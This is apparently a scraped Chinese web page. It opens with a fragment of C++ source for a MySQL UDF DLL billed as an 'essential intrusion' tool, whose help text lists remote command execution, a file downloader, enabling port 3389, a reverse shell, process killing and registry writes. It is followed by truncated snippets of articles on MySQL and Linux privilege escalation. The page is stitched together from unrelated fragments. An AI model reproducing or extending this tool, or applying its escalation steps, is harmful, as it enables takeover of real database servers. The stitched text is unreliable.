 memset(initid->ptr,0,2000); 
 strcat(initid->ptr,"mysql 入侵必备dll 版本1.0.0.1\r\n\r\n"); 
 strcat(initid->ptr,"注意:要使用本dll你必须有对mysql的insert和delete权限以创建和删除函数。\r\n\r\n"); 
 strcat(initid->ptr,"使用方法:\r\n"); 
 strcat(initid->ptr,"创建函数:create function 函数名(区分大小写) returns string soname \"dll名\" (注意路径);\r\n"); 
 strcat(initid->ptr,"删除函数:delete function 函数名;\r\n"); 
 strcat(initid->ptr,"使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名(\"help\");\r\n"); 
 strcat(initid->ptr,"--------------------------------------------------------------------\r\n"); 
 strcat(initid->ptr,"本dll包含的函数:\r\n"); 
 strcat(initid->ptr,"cmdshell 执行cmd;\r\n"); 
 strcat(initid->ptr,"downloader 下载者,到网上下载指定文件并保存到指定目录;\r\n"); 
 strcat(initid->ptr,"open3389 通用开3389终端服务,可指定端口(不改端口无需重启);\r\n"); 
 strcat(initid->ptr,"backshell 反弹Shell;\r\n"); 
 strcat(initid->ptr,"ProcessView 枚举系统进程;\r\n"); 
 strcat(initid->ptr,"KillProcess 终止指定进程;\r\n"); 
 strcat(initid->ptr,"regread 读注册表;\r\n"); 
 strcat(initid->ptr,"regwrite 写注册表;\r\n"); 
 strcat(initid->ptr,"shut 关机,注销,重启;\r\n"); 
 strcat(initid->ptr,"about 本函数;\r\n"); 
 strcat(initid->ptr,"--------------------------------------------------------------------\r\n"); 
 strcat(initid->ptr,"DLL中的每个函数都经多次测试，不太可能会造成MYSQL假死等现象，但也不排除在特殊环境、特殊输入下出错的可能性.\r\n"); 
 strcat(initid->ptr,"使用过程中发现的bug可和我联系QQ:185826531(langouster)\r\n"); 
 strcat(initid->ptr,"源程序公开,可以任意修改和添加功能,散布源程序请注明原作者.\r\n\r\n"); 
 strcat(initid->ptr,"特别声明:本程序只供技术研究之用,不正当使用程序造成的后果作者概不负责!"); 
 *length=strlen(initid->ptr); 
 return initid->ptr; 

} 
extern "C" __declspec(dllexport)void about_deinit(UDF_INIT *initid) 
{ 
 if(initid->ptr!=NULL) 
 free(initid->ptr); 
}

时间： 2024-09-08 13:10:59

Mysql提权方法利用_安全教程的相关文章

Linux利用UDF库实现Mysql提权_Mysql

环境: os:linux(bt5)   database:mysql   简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同.   要求:  在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止:   过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令 1,得到插件库路径 mysql> show variables like "%p

linux入侵提权(服务器提权)方法

  利用mysql root提权方法 mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的 范围内. 一般我们按照常规思路,搞到mysql的root密码之后,我们都会连接上去,创建一个表,然后outfile,搞到一个webshell ,然后提权如斯这般.今天我们换一种方式. 按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有

mysql 提权问题做到这创建函数出现错误

问题描述 mysql 提权问题做到这创建函数出现错误 mysql版本5.0.22 按照网上的教程进行提权操作但做到 create function sys_eval returns string soname "lib_mysqludf_sys.so": 这一步的时候出现错误 create function sys_eval returns string soname "lib_mysqludf_sys.so"; ERROR 1126 (HY000): Can't

介绍几种常见的提权方法，你用过几个？

本文讲的是介绍几种常见的提权方法,你用过几个?,攻击者一旦拿下一台机器进入内网,他就会尝试各种方法在内网中进行漫游,获取到他想要的数据.一般情况下攻击者是从个人计算机中开始入侵,不过这对于APT攻击者来讲并不困难,因为他们可以通过提权,进而攻击网络中的一些基础设施,从而查找甚至破坏他们的目标内容. 提权最简单的方法之一就是利用计算机中的配置问题,这一方面就包含查找存在管理员账户的文件,错误的配置信息,故意削弱的安全措施,以及用户多余的权限等等.因为这种方法特别简单,所以在一般的渗透测试当中是可以

在肉鸡上架设全能服务器的方法介绍_安全教程

为了撰写本文,笔者以虚拟机. Windows 2000 Server为测试环境,并准备以下的服务器软件和后门工具: 服务器软件:php-4.3.10-Win32.zip  最新版的官方下的,打了全部补丁:MYSQL-4.0.23-win.zip  最新和稳定,官方下的:phpMyAdmin-2.6SP2.zip 最新版的官方下的:ZEND2.57              最新版的官方下的:CesarFTP0.99g汉化版  超级FTP服务器,功能强大,支持后台运行,支持远程管理:后门工具:CH

sql2005 sa执行命令方法总结_安全教程

一．xp_cmdshell EXEC master..xp_cmdshell 'ipconfig' 开启xp_cmdshell: -- To allow advanced options to be changed. EXEC sp_configure 'show advanced options', 1 GO -- To update the currently configured value for advanced options. RECONFIGURE GO -- To enable

用手机控制服务器的方法解密_安全教程

好像标题有点吓人,其实也就是利用WAP+WebShell.现在很多手机都支持WAP上网,只要稍稍修改下现有的Web后门的代码就可以实现WAP浏览器访问.     传统的Web后门与浏览器交互的是HTML,而WAP浏览器是WML(WML是一种基于XML的标记语言).需要做的修改就是把HTML转为WML.     基于WAP的ASP后门这里下载:http://www.0x54.org/lake2/program/wap.rar     功能实现了cmd.文件操作(下载.删除.新建.编辑.浏览).系统

常用软件的静默安装方法介绍_安全教程

有时我们在安装程序的时候,希望是静默安装的,不显示下一步下一步,这编访问来教大家如何来操作,现在常用的制作安装程序的软件有,  Microsoft Windows Installer  , Windows 补丁包 , InstallShield  ,  InstallShield with MSI  ,  WISE Installer  , Inno Setup , NullSoft Installation System  等. 软件的安装采取全自动或半自动的方式进行. 一.Microsoft

Perl调用shell命令方法小结_基础教程

一.systemperl也可以用system调用shell的命令,它和awk的system一样,返回值也是它调用的命令的退出状态. 复制代码 代码如下: [root@AX3sp2 ~]# cat aa.pl#! /usr/bin/perl -w$file = "wt.pl";system("ls -l wt.pl");$result = system "ls -l $file";print "$result \n"; #输出命